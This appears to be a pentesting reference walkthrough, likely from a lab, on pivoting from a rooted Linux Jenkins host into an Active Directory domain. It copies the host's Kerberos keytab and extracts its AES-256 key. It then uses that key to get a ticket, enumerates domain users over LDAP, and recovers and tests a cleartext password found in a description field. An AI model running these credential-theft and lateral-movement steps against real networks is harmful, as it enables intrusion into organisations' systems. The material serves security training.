> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/active-directory-pentesting/active-directory/pivoting-from-linux-to-active-directory.md).
# Pivoting from Linux to Active Directory
## Pivoting from Linux to Active Directory
### 1. Post-Exploitation Enumeration
Once root access is achieved, the goal shifts to finding links to the Active Directory (AD) environment.
* **Bash History:** Checked `/root/.bash_history` and `/home/ubuntu/.bash_history`. No sensitive commands or cleartext credentials were found.
* **Service Analysis:** A script `vone.sh` was found, which likely automated the Jenkins setup, but it provided no AD pivot.
***
### 2. Identifying the Pivot: Kerberos Keytabs
Since the Ubuntu machine does not have an obvious domain user logged in, we look for **Kerberos** configurations that allow the machine or services to talk to the Domain Controller (DC).
#### 2.1 Locating Keytabs
Keytab files store Kerberos "principals" (user or service accounts) and their encrypted keys. They allow services to authenticate without a manual password.**Discovery Command:**
```
ls /etc/krb5*
```
* **`/etc/krb5.conf`**: The Kerberos configuration file. It contains the AD Realm (**ANOMALY.HSM**) and the DC hostname (**anomaly-dc.anomaly.hsm**).
* **`/etc/krb5.keytab`**: The encrypted file containing credentials.
***
### 3. Extracting Keytab Data
First we need to download the keytab file
```
scp root@10.1.243.1:/etc/krb5.keytab .
```
Keytab files are binary and encrypted. To see what's inside, we use a tool like **KeyTabExtract**.
**Tool Usage:**
```
wget https://raw.githubusercontent.com/sosdave/KeyTabExtract/master/keytabextract.py
```
```
python3 keytabextract.py krb5.keytab
```
```
REALM : ANOMALY.HSM
SERVICE PRINCIPAL : Brandon_Boyd/
AES-256 HASH : f9754c5288b844eb86054695b2c12b93716f57c41d26325c1a994e12bbbeff52
```
**Results of Extraction:**
* **Realm:** `ANOMALY.HSM`
* **Service Principal:** `brandon.boyd@ANOMALY.HSM`
* **Encryption Type:** `AES-256`
* **Note:** While NTLM hashes weren't extracted, the **AES-256 key** acts as the user's password for Kerberos authentication.
***
### 4. Setting Up the Pivot Environment
To use these credentials from an attacker machine (Kali), you must "tell" your OS how to find the domain.
#### 4.1 Update `/etc/hosts`
Map the IP found in previous parts to the Domain Controller's Full Qualified Domain Name (FQDN).
```
10.1.234.184 anomaly-dc.anomaly.hsm anomaly-dc
```
#### 4.2 Configure `/etc/krb5.conf`
Ensure your local Kerberos configuration matches the target domain. Copy from the ubuntu machine
```
[libdefaults]
default_realm = ANOMALY.HSM
dns_lookup_realm = true
dns_lookup_kdc = true
[realms]
ANOMALY.HSM = {
kdc = Anomaly-DC.anomaly.hsm
admin_server = Anomaly-DC.anomaly.hsm
}
[domain_realm]
.anomaly.hsm = ANOMALY.HSM
anomaly.hsm = ANOMALY.HSM
```
## Pivoting from Linux to Active Directory
### 1. Environment Setup (Kali Linux)
To use Kerberos tickets on a non-domain-joined Linux machine, specific tools and configurations are required.
#### 1.1 Installing Kerberos Clients
The `kinit` utility is not always installed by default. On Debian-based systems (like Kali), it is part of the `krb5-user` package.
**Command:** `sudo apt install krb5-user`
#### 1.3 Updating `/etc/hosts`
Ensure your machine can resolve the Domain Controller's hostname.
**Action:** Add the following line to `/etc/hosts`:
```
10.1.234.184 anomaly-dc.anomaly.hsm anomaly-dc
```
> **Common Pitfall:** Ensure the IP address is for the **Domain Controller**, not the web server.
***
### 2. Kerberos Authentication
#### 2.1 Generating a Ticket with `kinit`
Use the keytab file found on the Ubuntu server to request a Ticket Granting Ticket (TGT) without a password.**Command:**
```
kinit -kt krb5.keytab Brandon_Boyd@ANOMALY.HSM
```
* **`-kt`**: Specifies the path to the keytab file.
* **`brandon.boyd@ANOMALY.HSM`**: The Kerberos principal (Case-sensitive, Realm must be uppercase).
#### 2.2 Verifying the Ticket
**Command:** `klist`This command displays your active Kerberos tickets. Look for a `krbtgt` ticket for the `ANOMALY.HSM` realm.
***
### 3. AD Enumeration via LDAP
#### 3.1 Exporting the Cache
To use the ticket with tools like `netexec` or `impacket`, you must point the environment variable to your ticket cache.**Command:**
```
export KRB5CCNAME=/tmp/krb5cc_1000
# Path may vary; check klist output
```
#### 3.2 Hunting for Credentials in Descriptions
Active Directory objects often have a "Description" field. Administrators occasionally leave passwords or sensitive notes here.
```
nxc ldap anomaly-dc.anomaly.hsm -u brandon_boyd -k --use-kcache
```
So i can authenticate successfully.
**Command (using NetExec):**
```
nxc ldap anomaly-dc.anomaly.hsm -u brandon_boyd -k --users --use-kcache
```
* **`-k`**: Use Kerberos authentication.
* **`--users`**: Enumerates all domain users and their details.
\*\*Findings:\*\*A cleartext password for **Brandon Boyd** was discovered in his own account's description field.
**Password is here**
```
3edc4rfv#EDC$RFV
```
***
### 4. Verification of Credentials
Once a cleartext password is found, verify it against other services like SMB to confirm access levels.**Command:**
```
netexec smb anomaly-dc.anomaly.hsm -u 'brandon_boyd' -p '3edc4rfv#EDC$RFV' --shares
```
*Result: Authenticated. Access to standard shares (SYSVOL, NETLOGON) confirmed.*